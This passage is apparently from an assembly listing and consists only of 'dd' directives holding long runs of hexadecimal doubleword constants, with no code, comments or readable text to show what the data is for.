0B40FA289h, 8676BBA1h dd 548B5544h, 5EC3139Dh, 6559144Ch, 508811D1h, 543C3B44h dd 0C8474384h, 3C4B4458h, 3F45845Ch, 567DDC4Ah, 6888AF0Dh dd 5AA4CDA0h, 64430CC8h, 194B323Fh, 863B0C47h, 0A423745h dd 521C4C31h, 0DD080769h, 6281420h, 0D5123930h, 656A24C4h dd 2D532440h, 0DEF72D19h, 0D9A60112h, 0ACEBC11Dh, 0E92CD49Bh dd 6092D00Bh, 4E195887h, 33FD2057h, 4C26119h, 7B28E634h dd 8146032h, 0D12AF604h, 0C324984Fh, 21F860E9h, 3435B58Bh dd 0E6818EC7h, 9518F006h, 29E86291h, 0C6811354h, 0B53B58D0h dd 0F39C339h, 5176E986h, 0B9D8203Ch, 6FCFB022h, 0B8C6650h dd 0A0324C8h, 1F84C485h, 907DA72Ah, 91858BC8h, 1886034Dh dd 0AABFDB0Ah, 38952C67h, 240432F6h, 572BCFC6h, 4108CAC1h dd 7034DE1h, 4C010FB1h, 0D170FEF1h, 531C25C0h, 896622A3h dd 915FCDBh, 0CA535B02h, 82E84C09h, 8435138h, 5389BBE0h dd 80CBEF83h, 0C31A03E3h, 174B3884h, 8BC79D76h, 0B16C0DF1h dd 8AE6446Eh, 8945C598h, 181E065Fh, 95245A39h, 29012333h dd 91A25BBDh, 806009A3h, 31EA243Eh, 0B7A1BB40h, 0B01C763Ah dd 10A7B101h, 0E8AACF7h, 32C302C8h, 0AACBD140h, 40C8D20Bh dd 0A4A8C01h, 0E56D85E4h, 0C4462367h, 5210A011h, 57D4398Bh dd 33087A82h, 2181E9C0h, 0C23F80AAh, 5A5F8DB0h, 5153BCA8h dd 4932566Eh, 1E9CF1DBh, 0D1D880ACh, 0BCC381D3h, 37465A1Bh dd 49A3CFB0h, 0E897220Bh, 5EC38B07h, 60455B59h, 5FE27B35h dd 2AEAAC32h, 0C04077B4h, 0DF438EE7h, 32D80F50h, 293C04A8h dd 31DAD499h, 9577280Bh, 858F8360h, 642148DEh, 7C06D628h dd 388988BDh, 3F23E935h, 8B1F3AF3h, 17058040h, 899B46F3h dd 148621A4h, 46AB3C7Fh, 30F31E28h, 1AAE22F9h, 296987E9h dd 727604DFh, 0C7A4D80h, 0CAB20BB8h, 7959A945h, 30061C38h dd 46C8D180h, 290FF73Bh, 208DF182h, 280852EAh, 28524CF6h dd 5156E028h, 80139053h, 930C4A2Ch, 2D3C0A67h, 0A11C9h dd 13349804h, 24C1D832h, 2B1C08C3h, 141CA867h, 375E595Bh dd 42669840h, 30DD1736h, 0A28E8122h, 1108950Ch, 403D0CB6h dd 0F2D602Ch, 0B9B7108Ch, 8B5B131Ch, 0F4CD30C0h, 10E9556h dd 0C26A37F5h, 717CCC73h, 35DCF370h, 40B666E6h, 64741797h dd 884F6317h, 1D66839Dh, 0ECF73BAh, 4D8DEE81h, 0E2BEECBEh dd 0F428755Ah, 0E9F9880Bh, 0B9654Dh, 87636CBEh, 1ADF8C59h dd 0BCC7F766h, 2553E806h, 7ECE60C0h, 0F447B9BCh, 2496BF4Dh dd 0CA4A4A43h, 0C715C882h, 0CA68FCDCh, 0E96E3D1Fh, 45F67DF4h dd 40BD3DE1h, 6B74BF84h, 0FF2B0D00h, 98B55CB9h, 0EAC5A337h dd 7E80EA39h, 0DB5240B2h, 0A87CABB0h, 7082C001h, 2F14FCC1h dd 0A2CB546h, 241C895Ah, 154674DCh, 0FCB4E03h, 0EA0BC9BFh dd 8BC62CD9h, 24B7913h, 3D4FA6D1h, 53E35D3h, 37BD3348h dd 0B59007E2h, 0B78C1AB8h, 0C48A42B3h, 465E975Ch, 77700016h dd 1CDFCE4h, 0B7BFEBh, 3F8F459Fh, 0B19EA31Eh, 0D68BC964h dd 0E8B26968h, 0C60FF146h, 3CDBEB22h, 511E80FAh, 6CB7BECFh dd 5A7C2CFCh, 0F0E4674Fh, 25B07523h, 98ABC01Ch, 2DD200FDh dd 0C2B82DDh, 0DC84800Bh, 467CB2BCh, 23DC0018h, 53A9C0B3h dd 0F18B0966h, 0CC98615Ah, 2F059D03h, 5B8DF5B7h, 72AF5081h dd 2BE9F20h, 24E01AE1h, 42BD01B8h, 73B7BD01h, 33201B5Fh dd 0E7FF2CD7h, 575E60FFh, 3800C841h, 0BAB8151h, 0F45839Bh dd 824DFA0Dh, 100282F2h, 0F8017F1h, 0FE0140B6h, 17B081C8h dd 28B125Ah, 541EC25Fh, 1204DCBBh, 1EB63C3Fh, 1488458Eh dd 72B2F6C0h, 78419361h, 0C2072B18h, 6F9EDAE0h, 8BB0DEA5h dd 890A5B88h, 0C5F1785Bh, 289E384Eh, 0DE989AD6h, 247C7A61h dd 42466540h, 6110005Fh, 6CC05047h, 5101929Dh, 4F11E3BAh dd 18625E1Dh, 939CF71Dh, 0E590AFC2h, 1AC97F4h, 2ED02C8Dh dd 0FC54DE78h, 343F04C1h, 0F98A921Ah, 58DF7405h, 540531C2h dd 0C7E2475Dh, 91C0419Dh, 0D4600259h, 0D144476Ah, 80EBA920h dd 0B70FD4B0h, 496861FBh, 81000C34h, 8966C4E3h, 20C05E5Bh dd 6030FFC8h, 0F874C2F5h, 0F9C65F61h, 0B0BCEE00h, 0DCED1942h dd 9BEC008Ch, 0CAEF81B2h, 777779A3h, 0C7042878h, 3C2E1344h dd 5ACE7681h, 3DEF7E8h, 807A485Bh, 41EF43CAh, 0C08FBBCFh dd 8305D78Bh, 4EF804E8h, 28187282h, 0C98D8067h, 0B42146C2h dd 0B0F5F03Eh, 0B811B24h, 3BDE1409h, 0F3028BB3h, 97E995BCh dd 0FDEA93E8h, 0A5EC5600h, 69EBA836h, 0E72B1F1Bh, 53BCC00Ch dd 0B82E1046h, 93E3BB02h, 8EEC64B5h, 113CAC04h, 0E5120055h dd 36807194h, 0A238345Eh dd 993B800Fh, 0D9B7A7EAh, 4D3A006Eh, 0AE0EEE4Fh, 943763DBh dd 0AC8040A5h, 64E613Eh, 2566DDC1h, 161E287Dh, 40709503h dd 5017E564h, 0E83A38B1h, 352B0002h, 45B7A803h, 0C000D843h dd 2E7A34A7h, 0D53832h, 0CCE54EFh, 0D09A6244h, 630AB900h dd 0DD6B3319h, 912C4C99h, 5EA8BF00h, 3EA5D22Bh, 0B3866305h dd 440C7EDBh, 18755179h, 3166E12Ch, 2B191129h, 0DDA0D8C9h dd 1FB0CDE4h, 3F0CEE50h, 0E118EC37h, 0B5696Eh, 401D3AD9h dd 0C40013E4h, 37F56DDBh, 52790B03h, 521894E8h, 0E602307Ch dd 8531DD78h, 3B10108Eh, 0DFAB6520h, 0AD950870h, 0CCA4F53Eh dd 86C9048Dh, 18109805h, 18BABC43h, 6950D16Bh, 154CCE94h dd 3CC105BAh, 8000C26Dh, 0A9795B43h, 3B6C1934h, 8692924h dd 0C7544427h, 9FFBF98Bh, 1537E8h, 303D0DBAh, 4423E553h dd 6C006B77h, 5F4C805Eh, 7929A546h, 84881CD3h, 52F1800Ah dd 0B0D99BA2h, 0D5C1930Bh, 0F6AF0001h, 28A694Ch, 517AD1C6h dd 24C0D275h, 3100D3ABh, 14F6AF3Fh, 62A4996h, 27A7E504h dd 23FE7841h, 0BBA35200h, 3893C5D5h, 0BE3B0013h, 87225764h dd 7E2A995Fh, 9498904Ch, 0B4241900h, 91145598h, 807D038Dh dd 894D1507h, 0A4A228C8h, 0ED29A8A8h, 0C6266D00h, 0EA33AB13h dd 3C1F2FFh, 0BEA28760h, 0B1D69368h, 1A1BD300h, 12E73BD2h dd 0FFE10042h, 0C39B90E6h, 5A00FADFh, 5CF0ECBAh, 3ACFA2h dd 0B423E3C9h, 0ADA96718h, 8C1C7738h, 0C876104Bh, 262F0184h dd 0CE7EB1A4h, 0B6A6D494h, 2C120100h, 7DF87B9h, 0C7250032h dd 75EEFA4Ch, 8803D6EDh, 6C3A8D1Dh, 7EA3F05Bh, 0E3B300B0h dd 6F80E08Ah, 0FA379993h, 9D807820h, 90834Ah, 0CD17C957h dd 0C5B8DB30h, 4F07AC78h, 0ED36CEE9h, 83CC9A30h, 0C346008Fh dd 0F9ABDA75h, 0D9729155h, 86C4DE2Eh, 0DD5E7D01h, 4824CA77h dd 5714006Fh, 0C7894C4Bh, 35241290h, 0D90AF19Bh, 811EA05Fh dd 6C51C502h, 675D408Ah, 44010013h, 251449E4h, 0C9B06E56h dd 0A8EFC106h, 3A589708h, 787F61h, 0BF8C75C8h, 986550B3h dd 0EA3FE4E3h, 54A20601h, 2BBBD7C7h, 5AAB40C6h, 0ED07003Ch dd 0E69D123Fh, 0B11E7269h, 2E40DC4Ah, 9EBF108Fh, 256D040Bh dd 80B3F202h, 38585300h, 8A9CFB3Eh, 0D8573667h, 41D39800h dd 0C77C2CEEh, 0A0F91911h, 5B7E673Bh, 65045A00h, 9D267B97h dd 3558244Dh, 0D5628638h, 9F2028D2h, 0BCA53C77h, 875D8680h dd 0DDE116B2h, 40123900h, 3C254D5Eh, 7A930069h, 2919D7EBh dd 8AEC6D4Ah, 50F8FB0Ch, 0F859DEABh, 0EC6C0C45h, 34F85617h dd 0D002C101h, 0E9DC9807h, 4BC4C840h, 0A64F0731h, 0A071E426h dd 0F67F0173h, 96F98B00h, 0B78E6CDEh, 1C987AE1h, 80CEFDD9h dd 0E6A794F2h, 0F312A808h, 41072332h, 6B70C153h, 11D930h dd 3FF203E9h, 0D1B7C9CFh, 0C23D1D01h, 54E19498h, 0C8D5F187h dd 0C3B4C0B3h, 7E747A5Eh, 6EE29400h, 64AC4814h, 77EB4858h dd 0FB867F01h, 0F413E86Ah, 8E000540h, 0B1DDE5EFh, 1DBA9D9Ah dd 0C7811F78h, 8E1935F6h, 0B91C6E40h, 0B4016515h, 0F5532443h dd 35C40BD6h, 8B980195h, 0A7C184D9h, 0E48731CAh, 7B03D7AFh dd 0B807E02Ch, 2BC0A5F0h, 62CA9CC4h, 0B4101984h, 0C5079C46h dd 21C67974h, 1CFCE470h, 2C9200FBh, 0AF7D57Ah, 440F6025h dd 0A0492832h, 0A7F3C811h, 7F5F89Fh, 7698804Fh, 56AD9010h dd 0C000D260h, 0C257557Eh, 17F873DBh, 9B606A1h, 4A0C507Fh dd 5F01AC21h, 36F10349h, 688EF825h, 0CC40DD04h, 0CA8EE0D4h dd 0AB649000h, 5F50B4ADh, 1A820076h, 0F3EC5248h, 0DC003721h dd 0F8570DF1h, 2C1B11B3h, 41E77Dh, 0ECE4CE38h, 0D307348Ah dd 36E9E06Bh, 5EDF408Eh, 752839h, 0D9A0F866h, 0E1430398h dd 0D553F307h, 0C520AAC6h, 9802F7EDh, 3E3DFA20h, 0DC4C6569h dd 1A765600h, 8501492Eh, 0F77B4C00h, 7317635Bh, 266F0BDCh dd 0EB011EE0h, 8076B474h, 98E53318h, 7B37067h, 3B6F8355h dd 3062272Ah, 375849C4h, 65421307h, 0E3702990h, 8BB1A6h dd 0FEE527A9h, 6CE81D09h, 30815900h, 6DC9BE69h, 289ECECh dd 80CE487Fh, 0B2408FE1h, 0F200646Eh, 3E4A1ECBh, 0A0FC74h dd 6D5AEDFAh, 65350F11h, 64D8D426h, 383C0EBAh, 0CC676227h dd 724CA7Ch, 9280399Ch, 3FC3FBDh, 0D3CF36DBh, 0B8A80944h dd 0B11E67B0h, 0DE8058BCh, 924B085Eh, 7131DC5h, 9E9246h dd 3309659Ch, 0E43D86BFh, 1FD500CAh, 1DE062D7h, 15BF61Eh dd 7788E8C2h, 2081B28Dh, 2A0232F2h, 2DE4C27h, 0BD976154h dd 0A258C8E6h, 727900B9h, 5D1694C6h, 2D03A3EFh, 47FF1A56h dd 0D6D480ACh, 0E623009Ch, 0E439FCE3h, 401EE4Ch, 0DEE83C37h dd 0FBD42211h, 12A07825h, 19AD6Dh, 0EB132AC8h, 0D1044535h dd 954978F3h, 0B98EE080h, 63D3005Dh, 0CDDE59BFh, 7009CE98h dd 80C53E0Ah, 0BB763513h, 567B2EE2h, 1C2D8154h, 0F81808BFh dd 50EEEE5Ah, 84457300h, 4C1D0B63h, 2C20007Eh, 8A05A6BFh dd 0E8008CF3h, 0D1A3AA64h, 0BBC1B2h, 0E1B39139h, 5FF0A1F5h dd 220925Ch, 0ADB1E6EAh, 7588A0B2h, 53D4D8h, 481B1680h dd 0D2AEA5BFh, 0CD3F7A00h, 0A32BB9C7h, 817B0765h, 605F7203h dd 0B6470CF0h, 8336143Ah, 0F4FF7D91h, 0D8ABE8E8h, 0C3C600CCh dd 6AAE1F9Dh, 0C4184798h, 0C704F6Eh, 9C803AA2h, 0F061D609h dd 0C30C2029h, 0BA4C1AF9h, 920C1D05h, 0B314C406h, 18B27C39h dd 0B9B9F06Bh, 100B702Eh, 8F681342h, 95B100C8h, 9260D214h dd 3C0FF640h, 102836B8h, 39C1B530h, 0DF2187E2h, 31ACFBB7h dd 0D220065h, 90610A8Ch, 63061599h, 0EFA536F5h, 0D56900A9h dd 0B7E7DFB9h, 8D98DB61h, 4EDD6A05h, 3C05FB15h, 68482EE5h dd 97833E92h, 89033767h, 8A3C09D0h, 0B4B82560h, 22CC60A1h dd 441F15CEh, 80408861h, 0DB8189E9h, 0E88DE2B7h, 0F4150C1Dh dd 3E28EBACh, 352613Fh, 34CD7D57h, 3992E0ADh, 6B49C04Eh dd 0D7B08FB2h, 0EE60DE50h, 80A948CFh, 0AEE01A2Ch, 347B00F6h dd 0D880420Dh, 88A0F374h, 7C00F416h, 973A92A3h, 30C10334h dd 0A70842BDh, 5DE2C271h, 4BEEEC2Eh, 609A580Ch, 0B81B3043h dd 23626BF8h, 9209E0D3h, 639440F5h, 80F28B58h, 21A06C01h dd 84D12990h, 0F4859EAh, 241F6A42h, 0E4805EE5h, 3F4E2728h dd 0BB4A003Ch, 9E57394Bh, 6E00D123h, 90068486h, 0BBF60F9h dd 0A666D5B1h, 0EEEB700Eh, 0DACC6800h, 99098EFAh, 800BF9BAh dd 0C111D815h, 5F6200ABh, 37EABD2Ch, 0B979926Fh, 541A732Eh dd 0B07B4D80h, 42E3B39h, 61F2A3C1h, 0E880C00Ch, 0D809A533h dd 80942DEDh, 0BEA9E960h, 9CCE0CB2h, 82405DF7h, 307C70EDh dd 9755E40h, 5C50EEC8h, 0D9D48080h, 42C94B9h, 351F80C7h dd 56DEFEC5h, 2E2C9CC0h, 13C61321h, 81CE4h, 30E5EC8Fh dd 0E100BB9Ch, 22DBCD0Eh, 3AA818B4h, 2CDD736Ah, 0A7B96904h dd 0C4C0A1C9h, 67007DFDh, 0E0D7759Dh, 6007FAF8h, 2ADF217Bh dd 21209374h, 20860099h, 9DE21C22h, 3B00EFCFh, 1D429B3Eh dd 0B28AD0h, 91FE80BBh, 969EF958h, 0FF13251Dh, 800A670Fh dd 0A51A7798h, 746107CEh, 27E258BFh, 0BBB1A069h, 4076B1Bh dd 79D323B6h, 6086E765h, 69BD00F8h, 51F6EA59h, 4B4B05A8h dd 0AB09D81Fh, 0C42707CFh, 0DF40FEFEh, 0F3D39503h, 0DBAC009Bh dd 2EFBB00Eh, 0DA027537h, 35581D22h, 42FDE01Ah, 0A94C1732h dd 85F40020h, 95CF6112h dd 5A0E9098h, 9F7B4276h, 0F849700Ah, 7E6BD180h, 940D2ADEh dd 4D170064h, 0AA06E73Ah, 0EE7E6AF6h, 0ADD05950h, 7E5E48h dd 6C56F218h, 73DA70h, 4CD5775Fh, 67C99CE6h, 4B610401h dd 0E3A672EEh, 1C311420h, 40E2F0DBh, 3CBF9268h, 1C03FDF4h dd 1E1AFB24h, 3498803Dh, 8F70010h, 0F1D73035h, 970205E1h dd 5F3A8D04h, 0E848C119h, 45F820h, 0A2F278CDh, 338B5C2Ch dd 0DD029102h, 50BBEA03h, 72BF03CCh, 2128DC66h, 5D6E52C0h dd 484B8100h, 0F9618A8Bh, 44F439C4h, 78876D00h, 63EB7BFCh dd 9545D48h, 80BAC7A8h, 214A7A97h, 3D10EC48h, 4300592Dh dd 0C191AC04h, 0E0021D80h, 6ACCDBC7h, 814A40ADh, 86C400D3h dd 0FB079021h, 7000737Dh, 6B2A28FFh, 3A5D7F91h, 3C85498Ah dd 0C0AA03EFh, 33FEE4FCh, 25E7260Ah, 0B02AC8ABh, 51B50900h dd 49CF221Ch, 1EC4904Eh, 0DDB66F69h, 4DAB00E7h, 0E03AFDD2h dd 36226E00h, 0DE875FBDh, 5E47386Ch, 92D80F26h, 12427F1h dd 0DCE0A196h, 4739F8AFh, 0FD10028h, 83386443h, 15B9076Ah dd 0E5A46137h, 8640C2CEh, 64F53860h, 299DA001h, 8E2434E6h dd 7DA62C20h, 5A7A00C2h, 787CEE6Eh, 0F24856F7h, 0B99E0FB4h dd 5DBB205Eh, 0F28988ABh, 40F62422h, 0B810028h, 0D71C77D3h dd 4A54AA05h, 0C01EF149h, 0E4A1B50Ah, 0DCBA9500h, 50AFC4BBh dd 18F38048h, 217F1E0Fh, 821834FBh, 88389FDDh, 0D63A002Ch dd 7B5BEAFDh, 0B6008067h, 7A6D4749h, 4D436Eh, 0EDA288F8h dd 0E41C0557h, 843DAA02h, 58B153C4h, 0A42C0098h, 0FF0EE668h dd 0CE4097Bh, 5E167900h, 462F10E4h, 50E445h, 717F20B9h dd 8A662715h, 0AF802C00h, 9B8C40A0h, 59CE01BAh, 44B39FBh dd 81C030EBh, 0DB196C0Fh, 0F6DF003Fh, 84EC01h, 9B755255h dd 74C1A6BBh, 2F251B00h, 93EA094Fh, 4A290032h, 2AC60FF7h dd 0E701F0D6h, 0FFE12682h, 0FBDBD4CDh, 0B80AD3F1h, 1339FDD5h dd 0F50C2Fh, 9FCFC37Ch, 19185EDCh, 0B5500DFEh, 83F89930h dd 17B70C39h, 7BB98000h, 0E669821Ch, 0C49825h, 9F45156Fh dd 292BAF93h, 488BEC00h, 3AA0E11h, 65C11CD6h, 8A6E80B2h dd 885BB775h, 7D03EC70h, 0C1792E05h, 8093CA5Ah, 0D47065B2h dd 691F0020h, 0E12B1445h, 50925D64h, 0A92CB801h, 27FE1537h dd 0E8003C21h, 92D6ADh, 9707027Ch, 0C48BB7D9h, 8477F200h dd 64FF1DE1h, 0CE5F07EFh, 71A74EA9h, 7062A441h, 2EC5A14h dd 1C3EFA00h, 6B67E49Fh, 3D7DB6h, 0B933D047h, 0AC255F5Ch dd 853A7E75h, 0A1C4A781h, 99664F2Ch, 42C3C4h, 0F57117EDh dd 6AFB2035h, 62AAB201h, 36634E2Ah, 60C4A452h, 4E762938h dd 517C00E8h, 8F1E01BCh, 19FC1200h, 0AE44582Fh, 960D004Ah dd 0AC6B72DDh, 6700E54Bh, 765BD8A3h, 8632B9h, 75EC756h dd 0A0BCE3D1h, 0E83D60C0h, 0C57224h, 2CF06F5Ch, 731EFE4h dd 70D87630h, 4B8C27F4h, 0B64C4F37h, 8E2C9A00h, 9700EB9Fh dd 96DF352Eh, 16588342h, 4433EF73h, 8067B4E4h, 0C8B99D4Ch dd 0F8B759h, 0FF69ED22h, 59C9A3F0h, 6F00F0EAh, 81A5A0CDh dd 8004BED6h, 0FD11A97Bh, 0A19C8480h, 47210085h, 5F353F3Ah dd 6EE020DBh, 1C38A700h, 0AFBCAE2Eh, 0ABD01BE0h, 19D150CDh dd 0B0C1D4E3h, 0EDC880FDh, 0F2BB996Dh, 0A95B00E6h, 0E6E45DAh dd 641261B1h, 0E000B08Ah, 0D3441D02h, 0DE0A38EBh, 73010E00h dd 51276950h, 0B546A3Ch, 9A4CF40h, 25740339h, 19E8E4Ah dd 383688A0h, 7078DA68h, 6C00B114h, 293311D9h, 0EE0D47h dd 4C27318Ch, 983C0BF7h, 7341F20Ch, 96929ECh, 80FE4B43h dd 6D3E7480h, 3772DC05h, 0D8020400h, 0DB2C8DE3h, 70CC005Dh dd 0D422CBC0h, 7602EB26h, 42B816FFh, 0C57C40B6h, 50C700A3h dd 0B5E2BC90h, 0FB39D7F4h, 93EB00CCh, 0A806E3A4h, 1F4600F3h dd 147AD27Dh, 1100ED60h, 4A3B492Ch, 118B144h, 2A6D69DCh dd 3091E779h, 7E7F52CCh, 8F007B46h, 9B31E6EDh, 362DF0BDh dd 9C708019h, 0F8DE97EFh, 0E9F100B6h, 40BCA460h, 4D1DDBC9h dd 0CBC0211Dh, 694720B7h, 0C3FD00A5h, 0D1E2F7A4h, 0B01D879h dd 6ED0CBFEh, 0D8809818h, 7E920E93h, 0B3266FF3h, 3405F82Bh dd 0E8C0EBE8h, 19438Ah, 5661FBB6h, 3B3D82D3h, 1A039C92h dd 0C7B84403h, 0B5481354h, 52586728h, 30483E52h, 0EA06A349h dd 0A7F93797h, 6F23E79h, 51C85618h, 3A00F818h, 9FF76D21h dd 805A0Fh, 0BD65352Fh, 60897ACCh, 634CB10Fh, 4FADE26Ah dd 984406h, 0FA13E346h, 0A3BD4A1Eh, 0A9127705h, 0AFC053BFh dd 459AD4Ch, 6BD57F68h, 2E10F006h, 66108012h, 9659CC8h dd 0AB9B7A0h, 693E10CEh, 0EFDF0FECh, 0DCC072B7h, 83E9F24Dh dd 68E0FFC3h, 0C700D03Ch, 3D955FF7h, 7D9B59BDh, 94AA2701h dd 34440C14h, 7113135Fh, 14B0418Ch, 70D904F5h, 39146542h dd 8CD15h, 0C05ED8DDh, 621070h, 2EFA034h, 1692808Ah, 4360FA03h dd 0F7A97DC7h, 3DC9CEF0h, 0DC8F0012h, 4F6DBD73h, 0FA0396EEh dd 77ED1ADBh, 6A900065h, 605C4722h, 8D00BEF8h, 0EA3ACC3Ch dd 85EB08h, 0E77002C2h, 488097B1h, 91B5A000h, 5363D89Ah dd 99BA0246h, 76941840h, 65D43860h, 0A6449F03h, 987C89Bh dd 4FDE4730h, 71C4103h, 91D576F8h, 11C2C600h, 0EC14A2D0h dd 0BE8C3FE4h, 92A0CF80h, 0FF02C80Eh, 0E8A65400h, 0D175CB77h dd 9D7F0008h, 0E70EC057h, 0F426F086h, 4F00DCCEh, 0D6EEAA3Ah dd 2498D1h, 94F179D0h, 47DEA080h, 0C676CD00h, 64AD7B08h dd 0F0D000B0h, 0E2D1E9B5h, 4F01409Fh, 0EBE78AD8h, 0CAC4796Ah dd 2F7DE206h, 0EC979486h, 107C8D2Dh, 12FA040Bh, 0B0A08A43h dd 9C18EA6Bh, 0FD9D08B8h, 51103C04h, 88C5CCE1h, 1216B311h dd 751482F1h, 212F2452h, 5111721h, 63BF11FEh, 85102B12h dd 41D98915h, 12660328h, 0E9F1017h, 6F082D89h, 44736A44h dd 0C44B587h, 7214A041h, 95F895Eh, 29904D21h, 751B8415h dd 86475B48h, 84699078h, 0C7487783h, 9040684Eh, 44B1887Dh dd 3EB821A3h, 0D9105112h, 88F897Ah, 6512F9BEh, 0F363EC23h dd 0BBE0CFA6h, 0CC3BC9h, 0A41ED6B8h, 506EE50h, 790F8600h dd 55323EE1h, 4B2500E7h, 606F406Ch, 5B074C80h, 3B1A0E7Ah dd 0DBC38B40h, 41110BD8h, 58E85A2Ch, 6700AD2Dh, 0AE9AF4E5h dd 8E01A5h, 0B087D12Eh, 0C932823Ch, 0AB6EDF04h, 0C0C07B5Ch dd 1E6AF869h, 0AC87027Fh, 8A4080C4h, 95B1A9B6h, 24E2FD01h dd 2D2C5319h, 74BA60DEh, 694F01CBh, 0C87D29F6h, 0D54C2472h dd 87CAE43Ah, 8EA26C4Eh, 23879430h, 0B46430A0h, 97EE2578h dd 9310431Eh, 62E51A40h, 0F167603h, 25F12A4Fh, 0A8CEEAh dd 0ABAD3610h, 1B00381Ch, 3AE740FEh, 2423357Ah, 0E48A893h dd 0FFAFC2F3h, 0A19EC063h, 2791CC98h, 60FD5506h, 5399DEB6h dd 0A201902Fh, 7EF0986Ah, 0B34ED82Bh, 80695A00h, 48282C7Dh dd 3AE43Bh, 1BEFD864h, 0C5EBA099h, 90FAB000h, 5AFE1CB8h dd 65AA1FF4h, 0C13009Ch, 0F7FB50A2h, 8C0C8D4Bh, 28811895h dd 7D2353Bh, 3E313805h, 0C11010DFh, 430756FBh, 17CCEE04h dd 0C46EE050h, 9E730057h, 539921F8h, 83007EA5h, 51F19BFCh dd 54B482h, 1D17EC84h, 395C7C78h, 60DF3Dh, 0AA5F71D5h dd 0B846166Dh, 56020048h, 75A30845h, 0C104A667h, 58AC19DBh dd 2AA819C0h, 6FAD00AEh, 35744017h, 0FA3CB376h, 98A32853h dd 27836500h dd 429CB071h, 0B7950E56h, 0CBE06CDBh, 0E703C4F3h, 0E6938802h dd 80F21DBEh, 720D8088h, 0DB69000Bh, 39512429h, 4D054A3Ch dd 8687998Ah, 0E616E0C5h, 90C34900h, 122F58B2h, 0CEA2A7h dd 0CC887335h, 622F898Dh, 1D209029h, 0E17370h, 1CA8B804h dd 512E3CF1h, 34B73B00h, 0DA1FD182h, 0A2330011h, 1DFEABC8h dd 6A75DB0Eh, 8C90EE02h, 41D4EC9Ah, 0BC606D58h, 0C054940h dd 3AF2F300h, 0EEC2E9ADh, 74B52F03h, 0EB6AF7A6h, 0BF4FC024h dd 877805CCh, 0C04DB35Eh, 290E6E8Ch, 0B707DCB8h, 0BC8D3B93h dd 2CCCF50h, 954500D0h, 0C7B3ADAFh, 0B6009974h, 0BA9C7616h dd 24497578h, 84B592h, 54B74D3Bh, 0D9003DE2h, 0CF417E5Dh dd 3C017770h, 6F8775A4h, 40CAAAC5h, 0F1AC5563h, 17A00C02h dd 58854BA9h, 8AE21060h, 44248094h, 703167h, 0F8158462h dd 3FC96473h, 60267217h, 0A90A301Eh, 90008456h, 0FBF744ADh dd 0D01D1CA8h, 0E23800E0h, 3F0CFA4Eh, 7F45048h, 62CDA623h dd 8844BF50h, 1F55004Ah, 8368AAB2h, 0E51FF7A3h, 9EC0E0C6h dd 0CCCDB543h, 8021976Bh, 3DD4915Eh, 7C2804A4h, 0C4E0A5A9h dd 455012Fh, 3D384248h, 0C8689Ch, 61372D1Bh, 32E7B78h dd 7043C423h, 21008652h, 3402E211h, 1EDE5DAh, 45CD5A8Dh dd 80C0BE79h, 0F784459h, 7D153D4Eh, 906FF22Ch, 0F19A0020h dd 9B69D6E2h, 0F90034B2h, 0D332BA8Bh, 1297DAh, 4D47FFF3h dd 3DC10EB6h, 87AA5707h, 85D078EEh, 3735556h, 537C9FCCh dd 0D6009AFFh, 0D3D6AAFh, 39F9A0C5h, 74BE219Ch, 0A7E1C00h dd 0B8D8DAE4h, 0FF366D00h, 0AADD6F7Fh, 5D2000F1h, 173C18AFh dd 2E9747C7h, 9530E318h, 1A7D8084h, 15741C03h, 7B8443Eh dd 0BC00F34Bh, 58588618h, 1F991FBCh, 1A95F3C1h, 50305DA5h dd 0DE762Ah, 2F4DC23Eh, 1EF06F25h, 0ACCE0E24h, 477F8C00h dd 32C055Bh, 17CDF6C3h, 661E72F1h, 2D830161h, 0D0E27896h dd 70144Ch, 8386AAE7h, 60DC425Fh, 0EE73C826h, 0ECFD8F00h dd 14385Bh, 9B31DE63h, 951E9FB0h, 0DCC80A07h, 7A305CA2h dd 0B33EE7h, 527FEE3Dh, 0EC574847h, 0F6A0C478h, 87900484h dd 2ADC7B00h, 23FAA040h, 0B5D903C7h, 0C1F6E2F2h, 0D082ED80h dd 43784B00h, 0DDFD620h, 8E3705BAh, 8225E1D7h, 0B8E0D141h dd 948838Ch, 9C5E0208h, 406BDBA9h, 0C43EEFh, 0A526CEB0h dd 0C119EF65h, 0B511DE00h, 4C2B4606h, 410E09E0h, 8420EC60h dd 0AB9A1B3Ah, 0E0DFA32Ch, 0BA0C2104h, 0B01E005Dh, 68ABEC4Ch dd 2AB6760Eh, 81A9A4A4h, 0E603C4BCh, 71BA3511h, 22161100h dd 265C2B3Ah, 5749089h, 0CD0E08CCh, 4AEC807Fh, 3918FFFEh dd 681CB7E4h, 11E30587h, 513D63h, 64DFA5D0h, 0C4A077C4h dd 0D605709Ch, 0A9B216EBh, 7150A981h, 3D6A8030h, 7E815322h dd 948C021Ah, 49B6D8A0h, 73293B07h, 9A10984Bh, 0E584753Eh dd 4EF0DC61h, 0B20B1FECh, 0E2F040C5h, 0DD047041h, 2FFF0A07h dd 0F5E0BF7Eh, 259FAD8h, 6BE0C1CAh, 62409E0Fh, 527D2742h dd 0CB805500h, 88D040BCh, 0E52E008Ah, 6BD235F1h, 98C0E39Ch dd 11A03366h, 48720274h, 9DD82E7Ah, 0CF317860h, 1918E500h dd 846FBD46h, 48D61E21h, 5AB04369h, 0B7D07257h, 0BB004BC7h dd 0EA661D9Bh, 26BD36ECh, 0D4020Fh, 9AE0E239h, 5E134F4Bh dd 7800E33Fh, 61551CBBh, 0F820269Ch, 97F9C50h, 0D4C05DEFh dd 990C2FDCh, 8CACABD4h, 747769h, 0EC6B7733h, 181D393Ah dd 107D4D02h, 4023B21Ch, 3D3EF6BCh, 9F80AE94h, 7C558C50h dd 9600BC64h, 6E0B7784h, 704C909h, 223B69E2h, 0A49C103Ch dd 280AF344h, 0C7DF6DF5h, 6A248124h, 272FBA00h, 0F3905E3h dd 99B322ACh, 0E7089BC0h, 0EA0196EDh, 4A8C14D7h, 12C8E576h dd 9073C1h, 0CAAC4C5Fh, 1FBC8B78h, 970AC900h, 0AB07E8F7h dd 0E65B1328h, 87F303CBh, 0BC985461h, 0FF00AE02h, 0F2D8431Dh dd 3A96672h, 0C2FB9062h, 65B8B061h, 0BB00A30Eh, 0F421737Bh dd 0B995D5Ch, 9E574DF0h, 0C3A5CC00h, 0EF02B0E7h, 0D49602DCh dd 91454F7h, 0EC03B30Bh, 26D84827h, 32045DFFh, 4CC0351Bh dd 1A0014A8h, 789163EAh, 0D0589FCh, 0A2C7594Ah, 9EB240C0h dd 8020B429h, 0EA6D7121h, 39501B38h, 0E501DFC4h, 84D98C68h dd 44C8CB36h, 49FA01E0h, 4FD318B1h, 982893h, 5CC4814h dd 